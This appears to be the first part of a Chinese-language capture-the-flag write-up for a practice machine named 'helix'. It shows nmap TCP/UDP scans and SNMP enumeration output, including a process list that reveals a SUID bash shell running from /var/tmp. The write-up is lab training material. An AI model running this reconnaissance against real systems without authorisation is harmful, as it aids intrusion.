难度：easy

1.主机发现和信息收集：

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  ~/渗透靶机/MazeSec_helix
❯  nmap -sn 192.168.193.50/24
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-27 09:47 +0800
Nmap scan report for 192.168.193.50
Host is up (0.00026s latency).
Nmap scan report for 192.168.193.123
Host is up (0.036s latency).
Nmap scan report for 192.168.193.230
Host is up (0.0041s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 12.79 seconds

通过重启靶机我们得知靶机的IP为 192.168.193.230

1.1 nmap扫描
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  ~/渗透靶机/MazeSec_helix
❯  nmap -sT -p- --min-rate=10000 192.168.193.230
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-27 09:55 +0800
Warning: 192.168.193.230 giving up on port because retransmission cap hit (10).
Stats: 0:04:23 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 99.99% done; ETC: 09:59 (0:00:00 remaining)
Nmap scan report for 192.168.193.230
Host is up (0.24s latency).
Not shown: 49588 filtered tcp ports (no-response), 15946 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh

Nmap done: 1 IP address (1 host up) scanned in 281.69 seconds

很可疑，只有一个22号端口，尝试UDP扫描看看能不能发现更多信息

接下来尝试UDP扫描：

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~/渗透靶机/MazeSec_helix
❯  nmap -sU -p- --min-rate=3000 192.168.193.230
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-27 10:06 +0800
Stats: 0:00:02 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 2.59% done; ETC: 10:07 (0:01:15 remaining)
Warning: 192.168.193.230 giving up on port because retransmission cap hit (10).
Stats: 0:01:07 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 27.75% done; ETC: 10:10 (0:02:54 remaining)
Stats: 0:03:20 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 51.08% done; ETC: 10:12 (0:03:12 remaining)
Nmap scan report for 192.168.193.230
Host is up (0.15s latency).
Not shown: 65187 open|filtered udp ports (no-response), 347 closed udp ports (port-unreach)
PORT    STATE SERVICE
161/udp open  snmp

Nmap done: 1 IP address (1 host up) scanned in 344.27 seconds

  ~/渗透靶机/MazeSec_helix

发现snmp服务开放，接下来尝试进行版本探测

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~/渗透靶机/MazeSec_helix
❯  nmap -sU -p161 -sV  192.168.193.230
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-27 10:13 +0800
Nmap scan report for 192.168.193.230
Host is up (0.0018s latency).

PORT    STATE SERVICE VERSION
161/udp open  snmp    SNMPv1 server; net-snmp SNMPv3 server (public)
Service Info: Host: helix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.79 seconds
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~/渗透靶机/MazeSec_helix
❯  nmap -sU -p161 -sV 192.168.193.230 -sC
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-27 10:15 +0800
Nmap scan report for 192.168.193.230
Host is up (0.0019s latency).

PORT    STATE SERVICE VERSION
161/udp open  snmp    SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-info:
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: 44714f1fbefbf96900000000
|   snmpEngineBoots: 14
|_  snmpEngineTime: 28m31s
| snmp-sysdescr: Linux helix 6.12.74+deb13+1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.74-2 (2026-03-08) x86_64
|_  System uptime: 28m31.73s (171173 timeticks)
| snmp-netstat:
|   TCP  0.0.0.0:22           0.0.0.0:0
|   TCP  192.168.193.230:22   192.168.193.50:33285
|   UDP  0.0.0.0:161          *:*
|_  UDP  192.168.193.230:68   *:*
| snmp-processes:
|   1:
|     Name: systemd
|     Path: /sbin/init
|   2:
|     Name: kthreadd
|   3:
|     Name: pool_workqueue_release
|   4:
|     Name: kworker/R-kvfree_rcu_reclaim
|   5:
|     Name: kworker/R-rcu_gp
|   6:
|     Name: kworker/R-sync_wq
|   7:
|     Name: kworker/R-slub_flushwq
|   8:
|     Name: kworker/R-netns
|   10:
|     Name: kworker/0:1-events_freezable_pwr_efficient
|   11:
|     Name: kworker/0:0H-kblockd
|   12:
|     Name: kworker/u4:0-kvfree_rcu_reclaim
|   13:
|     Name: kworker/R-mm_percpu_wq
|   14:
|     Name: rcu_tasks_kthread
|   15:
|     Name: rcu_tasks_rude_kthread
|   16:
|     Name: rcu_tasks_trace_kthread
|   17:
|     Name: ksoftirqd/0
|   18:
|     Name: rcu_preempt
|   19:
|     Name: rcu_exp_par_gp_kthread_worker/0
|   20:
|     Name: rcu_exp_gp_kthread_worker
|   21:
|     Name: migration/0
|   22:
|     Name: idle_inject/0
|   23:
|     Name: cpuhp/0
|   25:
|     Name: kdevtmpfs
|   26:
|     Name: kworker/R-inet_frag_wq
|   27:
|     Name: kauditd
|   28:
|     Name: khungtaskd
|   29:
|     Name: kworker/u4:1-flush-8:0
|   30:
|     Name: oom_reaper
|   31:
|     Name: kworker/R-writeback
|   32:
|     Name: kcompactd0
|   33:
|     Name: ksmd
|   34:
|     Name: khugepaged
|   35:
|     Name: kworker/R-kintegrityd
|   36:
|     Name: kworker/R-kblockd
|   37:
|     Name: kworker/R-blkcg_punt_bio
|   38:
|     Name: irq/9-acpi
|   40:
|     Name: kworker/R-tpm_dev_wq
|   41:
|     Name: kworker/R-edac-poller
|   42:
|     Name: kworker/R-devfreq_wq
|   43:
|     Name: kworker/R-quota_events_unbound
|   45:
|     Name: kswapd0
|   52:
|     Name: kworker/R-kthrotld
|   56:
|     Name: kworker/R-acpi_thermal_pm
|   57:
|     Name: kworker/R-kstrp
|   59:
|     Name: kworker/u5:0
|   159:
|     Name: kworker/R-ata_sff
|   160:
|     Name: scsi_eh_0
|   161:
|     Name: kworker/R-scsi_tmf_0
|   162:
|     Name: scsi_eh_1
|   163:
|     Name: kworker/R-scsi_tmf_1
|   164:
|     Name: scsi_eh_2
|   165:
|     Name: kworker/R-scsi_tmf_2
|   200:
|     Name: jbd2/sda1-8
|   201:
|     Name: kworker/R-ext4-rsv-conversion
|   244:
|     Name: systemd-journal
|     Path: /usr/lib/systemd/systemd-journald
|   291:
|     Name: systemd-timesyn
|     Path: /usr/lib/systemd/systemd-timesyncd
|   302:
|     Name: systemd-udevd
|     Path: /usr/lib/systemd/systemd-udevd
|   304:
|     Name: psimon
|   345:
|     Name: irq/18-vmwgfx
|   348:
|     Name: kworker/R-ttm
|   351:
|     Name: kworker/R-cryptd
|   563:
|     Name: cron
|     Path: /usr/sbin/cron
|     Params: -f
|   564:
|     Name: dbus-daemon
|     Path: /usr/bin/dbus-daemon
|     Params: --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
|   574:
|     Name: snmpd
|     Path: /usr/sbin/snmpd
|     Params: -LOw -u Debian-snmp -g Debian-snmp -I -smux mteTrigger mteTriggerConf -f
|   581:
|     Name: systemd-logind
|     Path: /usr/lib/systemd/systemd-logind
|   591:
|     Name: dhcpcd
|     Path: dhcpcd: enp0s3 [ip4]
|   592:
|     Name: dhcpcd
|     Path: dhcpcd: [privileged proxy] enp0s3 [ip4]
|   593:
|     Name: dhcpcd
|     Path: dhcpcd: [control proxy] enp0s3 [ip4]
|   619:
|     Name: dhcpcd
|     Path: dhcpcd: enp0s8 [ip4]
|   620:
|     Name: dhcpcd
|     Path: dhcpcd: [privileged proxy] enp0s8 [ip4]
|   621:
|     Name: dhcpcd
|     Path: dhcpcd: [control proxy] enp0s8 [ip4]
|   637:
|     Name: kworker/R-cfg80211
|   658:
|     Name: dhcpcd
|     Path: dhcpcd: [BPF ARP] enp0s3 192.168.193.230
|   659:
|     Name: dhcpcd
|     Path: dhcpcd: [BPF BOOTP] enp0s8
|   680:
|     Name: dhcpcd
|     Path: dhcpcd: [BOOTP proxy] 192.168.193.230
|   682:
|     Name: dhcpcd
|     Path: dhcpcd: [BPF ARP] enp0s8 169.254.188.205
|   710:
|     Name: agetty
|     Path: /sbin/agetty
|     Params: -o -- \u --noreset --noclear - linux
|   713:
|     Name: sshd
|     Path: sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
|   720:
|     Name: sshd-session
|     Path: sshd-session: me [priv]
|   727:
|     Name: psimon
|   729:
|     Name: systemd
|     Path: /usr/lib/systemd/systemd
|     Params: --user
|   731:
|     Name: (sd-pam)
|     Path: (sd-pam)
|   744:
|     Name: sshd-session
|     Path: sshd-session: me@pts/0
|   747:
|     Name: bash
|     Path: -bash
|   749:
|     Name: sftp-server
|     Path: /usr/lib/openssh/sftp-server
|   764:
|     Name: sftp-server
|     Path: /usr/lib/openssh/sftp-server
|   779:
|     Name: .suid_bash
|     Path: /var/tmp/.suid_bash
|     Params: -p
|   813:
|     Name: kworker/0:2-events
|   815:
|     Name: kworker/0:4-mm_percpu_wq
|   821:
|     Name: kworker/0:1H-kblockd
|   822:
|     Name: kworker/0:0-events
|   824:
|     Name: kworker/u4:2-flush-8:0
|   832:
|     Name: kworker/0:3-events_freezable_pwr_efficient
|   833:
|_    Name: kworker/0:2H-kblockd
| snmp-win32-software:
|   adduser_3.152_all; 2026-04-28T16:48:42
|   apparmor_4.1.0-1_amd64; 2026-04-28T16:49:22
|   appstream_1.0.5-1_amd64; 2026-04-30T21:31:53
|   apt-listchanges_4.8_all; 2026-05-11T19:27:42
|   apt-utils_3.0.3_amd64; 2026-04-28T16:48:45
|   apt_3.0.3_amd64; 2026-04-28T16:48:02
|   aspell-fr_0.50-3-9_all; 2026-04-28T16:55:20
|   aspell_0.60.8.1-4_amd64; 2026-04-28T16:55:20
|   avahi-daemon_0.8-16_amd64; 2026-05-11T16:04:22
|   base-files_13.8+deb13u4_amd64; 2026-04-28T16:48:02
|   base-passwd_3.6.7_amd64; 2026-04-28T16:48:01
|   bash-completion_1:2.16.0-7_all; 2026-04-28T16:55:06
|   bash_5.2.37-2+b8_amd64; 2026-04-28T16:48:04
|   bind9-dnsutils_1:9.20.21-1~deb13u1_amd64; 2026-04-28T16:55:08
|   bind9-host_1:9.20.21-1~deb13u1_amd64; 2026-04-28T16:55:08
|   bind9-libs_1:9.20.21-1~deb13u1_amd64; 2026-04-28T16:55:08
|   binutils-common_2.44-3_amd64; 2026-04-30T20:47:49
|   binutils-x86-64-linux-gnu_2.44-3_amd64; 2026-04-30T20:47:51
|   binutils_2.44-3_amd64; 2026-04-30T20:47:51
|   bsdextrautils_2.41-5_amd64; 2026-04-28T16:55:12
|   bsdutils_1:2.41-5_amd64; 2026-04-28T16:48:04
|   busybox_1:1.37.0-6+b7_amd64; 2026-04-28T16:49:15
|   bzip2_1.0.8-6_amd64; 2026-04-28T16:55:08
|   ca-certificates_20250419_all; 2026-04-28T16:55:09
|   console-setup-linux_1.242~deb13u1_all; 2026-04-28T16:49:53
|   console-setup_1.242~deb13u1_all; 2026-04-28T16:49:53
|   coreutils_9.7-3_amd64; 2026-04-28T16:48:06
|   cpio_2.15+dfsg-2_amd64; 2026-04-28T16:48:45
|   cpp-14-x86-64-linux-gnu_14.2.0-19_amd64; 2026-04-30T20:47:53
|   cpp-14_14.2.0-19_amd64; 2026-04-30T20:47:53
|   cpp-x86-64-linux-gnu_4:14.2.0-1_amd64; 2026-04-30T20:47:53
|   cpp_4:14.2.0-1_amd64; 2026-04-30T20:47:54
|   cron-daemon-common_3.0pl1-197_all; 2026-04-28T16:48:42
|   cron_3.0pl1-197_amd64; 2026-04-28T16:48:47
|   curl_8.14.1-2+deb13u2_amd64; 2026-04-29T12:14:24
|   dash_0.5.12-12_amd64; 2026-04-28T16:48:06
|   dbus-bin_1.16.2-2_amd64; 2026-04-28T16:54:58
|   dbus-daemon_1.16.2-2_amd64; 2026-04-28T16:54:59
|   dbus-session-bus-common_1.16.2-2_all; 2026-04-28T16:54:58
|   dbus-system-bus-common_1.16.2-2_all; 2026-04-28T16:54:59
|   dbus-user-session_1.16.2-2_amd64; 2026-04-28T16:55:20
|   dbus_1.16.2-2_amd64; 2026-04-28T16:54:59
|   debconf-i18n_1.5.91_all; 2026-04-28T16:48:45
|   debconf_1.5.91_all; 2026-04-28T16:48:01
|   debian-archive-keyring_2025.1_all; 2026-04-28T16:48:00
|   debian-faq_12.2_all; 2026-04-28T16:55:09
|   debianutils_5.23.2_amd64; 2026-04-28T16:48:03
|   dhcpcd-base_1:10.1.0-11+deb13u2_amd64; 2026-04-28T16:48:47
|   dictionaries-common_1.30.10_all; 2026-04-28T16:55:19
|   diffutils_1:3.10-4_amd64; 2026-04-28T16:48:06
|   dmidecode_3.6-2_amd64; 2026-04-28T16:48:47
|   dmsetup_2:1.02.205-2_amd64; 2026-04-28T16:55:53
|   doc-debian_11.3+nmu1_all; 2026-04-28T16:55:09
|   dpkg_1.22.22_amd64; 2026-04-28T16:48:08
|   dracut-install_106-6_amd64; 2026-04-28T16:49:17
|   e2fsprogs_1.47.2-3+b10_amd64; 2026-04-28T16:48:48
|   eject_2.41-5_amd64; 2026-04-28T16:49:47
|   emacsen-common_3.0.8_all; 2026-04-28T16:55:19
|   fdisk_2.41-5_amd64; 2026-04-28T16:48:49
|   file_1:5.46-5_amd64; 2026-04-28T16:55:10
|   findutils_4.10.0-3_amd64; 2026-04-28T16:48:08
|   gcc-14-base_14.2.0-19_amd64; 2026-04-28T16:47:55
|   gcc-14-x86-64-linux-gnu_14.2.0-19_amd64; 2026-04-30T20:47:59
|   gcc-14_14.2.0-19_amd64; 2026-04-30T20:47:59
|   gcc-x86-64-linux-gnu_4:14.2.0-1_amd64; 2026-04-30T20:47:59
|   gcc_4:14.2.0-1_amd64; 2026-04-30T20:47:59
|   gettext-base_0.23.1-2_amd64; 2026-04-28T16:55:10
|   git-man_1:2.47.3-0+deb13u1_all; 2026-04-30T20:59:10
|   git_1:2.47.3-0+deb13u1_amd64; 2026-04-30T20:59:13
|   grep_3.11-4_amd64; 2026-04-28T16:48:08
|   groff-base_1.23.0-9_amd64; 2026-04-28T16:55:10
|   grub-common_2.12-9+deb13u1_amd64; 2026-04-28T16:55:55
|   grub-pc-bin_2.12-9+deb13u1_amd64; 2026-04-28T16:56:12
|   grub-pc_2.12-9+deb13u1_amd64; 2026-04-28T16:56:12
|   grub2-common_2.12-9+deb13u1_amd64; 2026-04-28T16:56:12
|   gzip_1.13-1_amd64; 2026-04-28T16:48:09
|   hostname_3.25_amd64; 2026-04-28T16:48:09
|   ifrench-gut_1:1.0-32.3_amd64; 2026-04-28T16:55:21
|   ifupdown_0.8.44+deb13u1_amd64; 2026-04-28T16:48:51
|   inetutils-telnet_2:2.6-3+deb13u3_amd64; 2026-04-28T16:55:11
|   init-system-helpers_1.69~deb13u1_all; 2026-04-28T16:48:09
|   init_1.69~deb13u1_amd64; 2026-04-28T16:48:51
|   initramfs-tools-bin_0.148.3_amd64; 2026-04-28T16:49:17
|   initramfs-tools-core_0.148.3_all; 2026-04-28T16:49:17
|   initramfs-tools_0.148.3_all; 2026-04-28T16:49:18
|   installation-report_2.97_all; 2026-04-28T16:53:42
|   intel-microcode_3.20251111.1~deb13u1_amd64; 2026-04-28T16:57:31
|   iproute2_6.15.0-1_amd64; 2026-04-28T16:48:51
|   iputils-ping_3:20240905-3_amd64; 2026-04-28T16:48:51
|   ispell_3.4.06-1_amd64; 2026-04-28T16:55:20
|   iucode-tool_2.3.1-3_amd64; 2026-04-28T16:57:31
|   kbd_2.7.1-2_amd64; 2026-04-28T16:49:52
|   keyboard-configuration_1.242~deb13u1_all; 2026-04-28T16:49:50
|   klibc-utils_2.0.14-1_amd64; 2026-04-28T16:49:17
|   kmod_34.2-2_amd64; 2026-04-28T16:48:52
|   krb5-locales_1.21.3-5_all; 2026-04-28T16:55:11
|   laptop-detect_0.16+nmu1_all; 2026-04-28T16:53:40
|   less_668-1_amd64; 2026-04-28T16:48:52
|   libacl1_2.3.2-2+b1_amd64; 2026-04-28T16:48:04
|   libapparmor1_4.1.0-1_amd64; 2026-04-28T16:48:37
|   libappstream5_1.0.5-1_amd64; 2026-04-30T21:31:53
|   libapt-pkg7.0_3.0.3_amd64; 2026-04-28T16:47:59
|   libasan8_14.2.0-19_amd64; 2026-04-30T20:47:55
|   libaspell15_0.60.8.1-4_amd64; 2026-04-28T16:55:19
|   libatomic1_14.2.0-19_amd64; 2026-04-30T20:47:54
|   libattr1_1:2.5.2-3_amd64; 2026-04-28T16:48:04
|   libaudit-common_1:4.0.2-2_all; 2026-04-28T16:48:09
|   libaudit1_1:4.0.2-2+b2_amd64; 2026-04-28T16:48:10
|   libbinutils_2.44-3_amd64; 2026-04-30T20:47:49
|   libblkid1_2.41-5_amd64; 2026-04-28T16:48:10
|   libbpf1_1:1.5.0-3_amd64; 2026-04-28T16:48:49
|   libbrotli1_1.1.0-2+b7_amd64; 2026-04-28T16:55:54
|   libbsd0_0.12.2-2_amd64; 2026-04-28T16:48:10
|   libbz2-1.0_1.0.8-6_amd64; 2026-04-28T16:47:58
|   libc-bin_2.41-12+deb13u2_amd64; 2026-04-28T16:48:10
|   libc-dev-bin_2.41-12+deb13u2_amd64; 2026-04-30T20:47:59
|   libc-l10n_2.41-12+deb13u2_all; 2026-04-28T16:49:11
|   libc6-dev_2.41-12+deb13u2_amd64; 2026-04-30T20:48:09
|   libc6_2.41-12+deb13u2_amd64; 2026-04-28T16:47:56
|   libcap-ng0_0.8.5-4+b1_amd64; 2026-04-28T16:48:09
|   libcap2-bin_1:2.75-10+b8_amd64; 2026-04-28T16:48:50
|   libcap2_1:2.75-10+b8_amd64; 2026-04-28T16:47:59
|   libcbor0.10_0.10.2-2_amd64; 2026-04-28T16:55:00
|   libcc1-0_14.2.0-19_amd64; 2026-04-30T20:47:54
|   libcom-err2_1.47.2-3+b10_amd64; 2026-04-28T16:48:43
|   libcrypt-dev_1:4.4.38-1_amd64; 2026-04-30T20:48:06
|   libcrypt1_1:4.4.38-1_amd64; 2026-04-28T16:48:00
|   libctf-nobfd0_2.44-3_amd64; 2026-04-30T20:47:50
|   libctf0_2.44-3_amd64; 2026-04-30T20:47:50
|   libcurl3t64-gnutls_8.14.1-2+deb13u2_amd64; 2026-04-30T20:59:09
|   libcurl4t64_8.14.1-2+deb13u2_amd64; 2026-04-29T12:14:24
|   libdb5.3t64_5.3.28+dfsg2-9_amd64; 2026-04-28T16:48:11
|   libdbus-1-3_1.16.2-2_amd64; 2026-04-28T16:54:58
|   libdebconfclient0_0.280_amd64; 2026-04-28T16:47:56
|   libdevmapper1.02.1_2:1.02.205-2_amd64; 2026-04-28T16:55:53
|   libduktape207_2.7.0-2+b2_amd64; 2026-04-30T21:31:53
|   libedit2_3.1-20250104-1_amd64; 2026-04-28T16:48:52
|   libefiboot1t64_38-3.1+b1_amd64; 2026-04-28T16:55:53
|   libefivar1t64_38-3.1+b1_amd64; 2026-04-28T16:55:53
|   libelf1t64_0.192-4_amd64; 2026-04-28T16:48:49
|   liberror-perl_0.17030-1_all; 2026-04-30T20:59:09
|   libexpat1_2.7.1-2_amd64; 2026-04-28T16:54:59
|   libext2fs2t64_1.47.2-3+b10_amd64; 2026-04-28T16:48:43
|   libfdisk1_2.41-5_amd64; 2026-04-28T16:48:48
|   libffi8_3.4.8-2_amd64; 2026-04-28T16:55:03
|   libfido2-1_1.15.0-1+b1_amd64; 2026-04-28T16:55:00
|   libfreetype6_2.13.3+dfsg-1+deb13u1_amd64; 2026-04-28T16:55:54
|   libfstrm0_0.6.1-1+b3_amd64; 2026-04-28T16:55:06
|   libfuse3-4_3.17.2-3_amd64; 2026-04-28T16:55:54
|   libgcc-14-dev_14.2.0-19_amd64; 2026-04-30T20:47:57
|   libgcc-s1_14.2.0-19_amd64; 2026-04-28T16:47:55
|   libgdbm-compat4t64_1.24-2_amd64; 2026-04-28T16:55:14
|   libgdbm6t64_1.24-2_amd64; 2026-04-28T16:55:12
|   libglib2.0-0t64_2.84.4-3~deb13u2_amd64; 2026-04-30T21:22:32
|   libglib2.0-bin_2.84.4-3~deb13u2_amd64; 2026-04-30T21:31:54
|   libglib2.0-data_2.84.4-3~deb13u2_all; 2026-04-30T21:22:33
|   libgmp10_2:6.3.0+dfsg-3_amd64; 2026-04-28T16:47:57
|   libgnutls30t64_3.8.9-3+deb13u2_amd64; 2026-04-28T16:55:18
|   libgomp1_14.2.0-19_amd64; 2026-04-30T20:47:54
|   libgprofng0_2.44-3_amd64; 2026-04-30T20:47:50
|   libgssapi-krb5-2_1.21.3-5_amd64; 2026-04-28T16:48:47
|   libgstreamer1.0-0_1.26.2-2_amd64; 2026-04-30T21:31:54
|   libhogweed6t64_3.10.1-1_amd64; 2026-04-28T16:47:57
|   libhwasan0_14.2.0-19_amd64; 2026-04-30T20:47:56
|   libidn2-0_2.3.8-2_amd64; 2026-04-28T16:48:44
|   libisl23_0.27-1_amd64; 2026-04-30T20:47:51
|   libitm1_14.2.0-19_amd64; 2026-04-30T20:47:54
|   libjansson4_2.14-2+b3_amd64; 2026-04-28T16:48:52
|   libjemalloc2_5.3.0-3_amd64; 2026-04-28T16:55:06
|   libjson-c5_0.18+ds-1_amd64; 2026-04-28T16:55:06
|   libk5crypto3_1.21.3-5_amd64; 2026-04-28T16:48:46
|   libkeyutils1_1.6.3-6_amd64; 2026-04-28T16:48:46
|   libklibc_2.0.14-1_amd64; 2026-04-28T16:49:17
|   libkmod2_34.2-2_amd64; 2026-04-28T16:48:46
|   libkrb5-3_1.21.3-5_amd64; 2026-04-28T16:48:46
|   libkrb5support0_1.21.3-5_amd64; 2026-04-28T16:48:46
|   liblastlog2-2_2.41-5_amd64; 2026-04-28T16:48:11
|   libldap-common_2.6.10+dfsg-1_all; 2026-04-29T12:14:24
|   libldap2_2.6.10+dfsg-1_amd64; 2026-04-29T12:14:23
|   liblmdb0_0.9.31-1+b2_amd64; 2026-04-28T16:55:06
|   liblocale-gettext-perl_1.07-7+b1_amd64; 2026-04-28T16:48:44
|   liblockfile-bin_1.17-2_amd64; 2026-04-28T16:55:11
|   liblsan0_14.2.0-19_amd64; 2026-04-30T20:47:55
|   liblsof0_4.99.4+dfsg-2_amd64; 2026-04-28T16:55:12
|   liblz4-1_1.10.0-4_amd64; 2026-04-28T16:47:58
|   liblzma5_5.8.1-1_amd64; 2026-04-28T16:47:58
|   libmagic-mgc_1:5.46-5_amd64; 2026-04-28T16:55:09
|   libmagic1t64_1:5.46-5_amd64; 2026-04-28T16:55:10
|   libmaxminddb0_1.12.2-1_amd64; 2026-04-28T16:55:07
|   libmd0_1.1.0-2+b1_amd64; 2026-04-28T16:48:07
|   libmnl0_1.0.5-3_amd64; 2026-04-28T16:48:50
|   libmount1_2.41-5_amd64; 2026-04-28T16:48:11
|   libmpc3_1.3.1-1+b3_amd64; 2026-04-30T20:47:52
|   libmpfr6_4.2.2-1_amd64; 2026-04-30T20:47:52
|   libncursesw6_6.5+20250216-2_amd64; 2026-04-28T16:48:48
|   libnettle8t64_3.10.1-1_amd64; 2026-04-28T16:47:57
|   libnewt0.52_0.52.25-1_amd64; 2026-04-28T16:48:53
|   libnftables1_1.1.3-1_amd64; 2026-04-28T16:48:54
|   libnftnl11_1.2.9-1_amd64; 2026-04-28T16:48:53
|   libnghttp2-14_1.64.0-1.1_amd64; 2026-04-28T16:55:07
|   libnghttp3-9_1.8.0-1_amd64; 2026-04-29T12:14:23
|   libngtcp2-16_1.11.0-1+deb13u1_amd64; 2026-04-30T20:59:09
|   libngtcp2-crypto-gnutls8_1.11.0-1+deb13u1_amd64; 2026-04-30T20:59:09
|   libnss-mdns_0.15.1-4+b1_amd64; 2026-04-28T17:16:02
|   libnss-systemd_257.9-1~deb13u1_amd64; 2026-04-28T16:55:11
|   libp11-kit0_0.25.5-3_amd64; 2026-04-28T16:55:17
|   libpackagekit-glib2-18_1.3.1-1+deb13u1_amd64; 2026-04-30T21:31:54
|   libpam-modules-bin_1.7.0-5_amd64; 2026-04-28T16:48:12
|   libpam-modules_1.7.0-5_amd64; 2026-04-28T16:48:12
|   libpam-runtime_1.7.0-5_all; 2026-04-28T16:48:13
|   libpam-systemd_257.9-1~deb13u1_amd64; 2026-04-28T16:55:11
|   libpam-wtmpdb_0.73.0-3+deb13u1_amd64; 2026-04-28T16:55:11
|   libpam0g_1.7.0-5_amd64; 2026-04-28T16:48:12
|   libpci3_1:3.13.0-2_amd64; 2026-04-28T16:49:42
|   libpcre2-8-0_10.46-1~deb13u1_amd64; 2026-04-28T16:47:57
|   libperl5.40_5.40.1-6_amd64; 2026-04-28T16:55:15
|   libpipeline1_1.5.8-1_amd64; 2026-04-28T16:55:12
|   libpng16-16t64_1.6.48-1+deb13u4_amd64; 2026-04-28T16:55:54
|   libpolkit-agent-1-0_126-2_amd64; 2026-04-30T21:31:55
|   libpolkit-gobject-1-0_126-2_amd64; 2026-04-30T21:31:55
|   libpopt0_1.19+dfsg-2_amd64; 2026-04-28T16:48:54
|   libproc2-0_2:4.0.4-9_amd64; 2026-04-28T16:48:54
|   libprotobuf-c1_1.5.1-1_amd64; 2026-04-28T16:55:07
|   libpsl5t64_0.21.2-1.1+b1_amd64; 2026-04-28T16:55:18
|   libquadmath0_14.2.0-19_amd64; 2026-04-30T20:47:56
|   libreadline8t64_8.2-6_amd64; 2026-04-28T16:48:49
|   librtmp1_2.4+20151223.gitfa8646d.1-2+b5_amd64; 2026-04-29T12:14:24
|   libsasl2-2_2.1.28+dfsg1-9_amd64; 2026-04-29T12:14:23
|   libsasl2-modules-db_2.1.28+dfsg1-9_amd64; 2026-04-29T12:14:23
|   libsasl2-modules_2.1.28+dfsg1-9_amd64; 2026-04-29T12:14:24
|   libseccomp2_2.6.0-2_amd64; 2026-04-28T16:48:00
|   libselinux1_3.8.1-1_amd64; 2026-04-28T16:47:57
|   libsemanage-common_3.8.1-1_all; 2026-04-28T16:48:13
|   libsemanage2_3.8.1-1_amd64; 2026-04-28T16:48:14
|   libsensors-config_1:3.6.2-2_all; 2026-05-05T16:08:31
|   libsensors5_1:3.6.2-2_amd64; 2026-05-05T16:08:31
|   libsepol2_3.8.1-1_amd64; 2026-04-28T16:48:14
|   libsframe1_2.44-3_amd64; 2026-04-30T20:47:48
|   libslang2_2.3.3-5+b2_amd64; 2026-04-28T16:48:53
|   libsmartcols1_2.41-5_amd64; 2026-04-28T16:48:04
|   libsnmp-base_5.9.4+dfsg-2+deb13u1_all; 2026-05-05T16:08:32
|   libsnmp40t64_5.9.4+dfsg-2+deb13u1_amd64; 2026-05-05T16:08:32
|   libsqlite3-0_3.46.1-7+deb13u1_amd64; 2026-04-28T16:48:11
|   libss2_1.47.2-3+b10_amd64; 2026-04-28T16:48:44
|   libssh2-1t64_1.11.1-1_amd64; 2026-04-29T12:14:24
|   libssl3t64_3.5.5-1~deb13u2_amd64; 2026-04-28T16:53:26
|   libstdc++6_14.2.0-19_amd64; 2026-04-28T16:47:59
|   libstemmer0d_2.2.0-4+b2_amd64; 2026-04-30T21:31:52
|   libsystemd-shared_257.9-1~deb13u1_amd64; 2026-04-28T16:48:37
|   libsystemd0_257.9-1~deb13u1_amd64; 2026-04-28T16:48:15
|   libtasn1-6_4.20.0-2_amd64; 2026-04-28T16:55:18
|   libtext-charwidth-perl_0.04-11+b4_amd64; 2026-04-28T16:48:55
|   libtext-iconv-perl_1.7-8+b4_amd64; 2026-04-28T16:48:55
|   libtext-wrapi18n-perl_0.06-10_all; 2026-04-28T16:48:55
|   libtinfo6_6.5+20250216-2_amd64; 2026-04-28T16:48:19
|   libtirpc-common_1.3.6+ds-1_all; 2026-04-28T16:48:56
|   libtirpc3t64_1.3.6+ds-1_amd64; 2026-04-28T16:48:56
|   libtsan2_14.2.0-19_amd64; 2026-04-30T20:47:55
|   libubsan1_14.2.0-19_amd64; 2026-04-30T20:47:56
|   libuchardet0_0.0.8-1+b2_amd64; 2026-04-28T16:55:10
|   libudev1_257.9-1~deb13u1_amd64; 2026-04-28T16:48:15
|   libunistring5_1.3-2_amd64; 2026-04-28T16:48:54
|   liburcu8t64_0.15.2-2_amd64; 2026-04-28T16:55:07
|   libusb-1.0-0_2:1.0.28-1_amd64; 2026-04-28T16:49:45
|   libuuid1_2.41-5_amd64; 2026-04-28T16:48:20
|   libuv1t64_1.50.0-2_amd64; 2026-04-28T16:55:07
|   libwrap0_7.6.q-36_amd64; 2026-04-28T16:55:01
|   libwtmpdb0_0.73.0-3+deb13u1_amd64; 2026-04-28T16:55:01
|   libx11-6_2:1.8.12-1_amd64; 2026-04-28T16:55:23
|   libx11-data_2:1.8.12-1_all; 2026-04-28T16:55:22
|   libxau6_1:1.0.11-1_amd64; 2026-04-28T16:55:22
|   libxcb1_1.17.0-2+b1_amd64; 2026-04-28T16:55:22
|   libxdmcp6_1:1.1.5-1_amd64; 2026-04-28T16:55:22
|   libxext6_2:1.3.4-1+b3_amd64; 2026-04-28T16:55:24
|   libxml2_2.12.7+dfsg+really2.9.14-2.1+deb13u2_amd64; 2026-04-28T16:55:08
|   libxmlb2_0.3.22-1_amd64; 2026-04-30T21:31:52
|   libxmuu1_2:1.1.3-3+b4_amd64; 2026-04-28T16:55:24
|   libxtables12_1.8.11-2_amd64; 2026-04-28T16:48:57
|   libxxhash0_0.8.3-2_amd64; 2026-04-28T16:48:14
|   libyaml-0-2_0.2.5-2_amd64; 2026-04-30T21:31:53
|   libzstd1_1.5.7+dfsg-1_amd64; 2026-04-28T16:48:15
|   linux-base_4.12.1_all; 2026-04-28T16:49:17
|   linux-image-6.12.73+deb13-amd64_6.12.73-1_amd64; 2026-04-28T16:49:22
|   linux-image-6.12.74+deb13+1-amd64_6.12.74-2_amd64; 2026-04-28T16:53:25
|   linux-image-amd64_6.12.74-2_amd64; 2026-04-28T16:53:26
